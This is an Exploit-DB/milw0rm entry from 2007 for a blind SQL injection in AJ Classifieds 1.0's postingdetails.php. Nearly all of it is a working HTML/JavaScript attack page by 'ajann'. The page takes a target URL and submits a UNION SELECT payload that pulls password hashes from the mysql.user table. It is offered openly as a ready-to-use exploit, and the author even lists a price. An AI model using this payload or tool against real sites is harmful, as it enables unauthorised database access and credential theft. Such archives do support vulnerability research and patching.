AJ Classifieds 1.0 - 'postingdetails.php' SQL Injection

EDB-ID:

3410


Author:

ajann

Type:

webapps


Platform:

PHP

Date:

2007-03-04


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.ajsquare.com
//'[$$         : 250 USD - 1000 USD
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/"
   var adres="/postingdetails.php" //File name
   var acik ="?cathead=community&postingid=" // Line x
   var sql="-1%20union%20select%200,0,0,0,1,2,password,4,0,0,0,0,6,5,4,3,2,1%20from%20mysql.user/*" // Mysql Get Password
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+sql; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-03-04]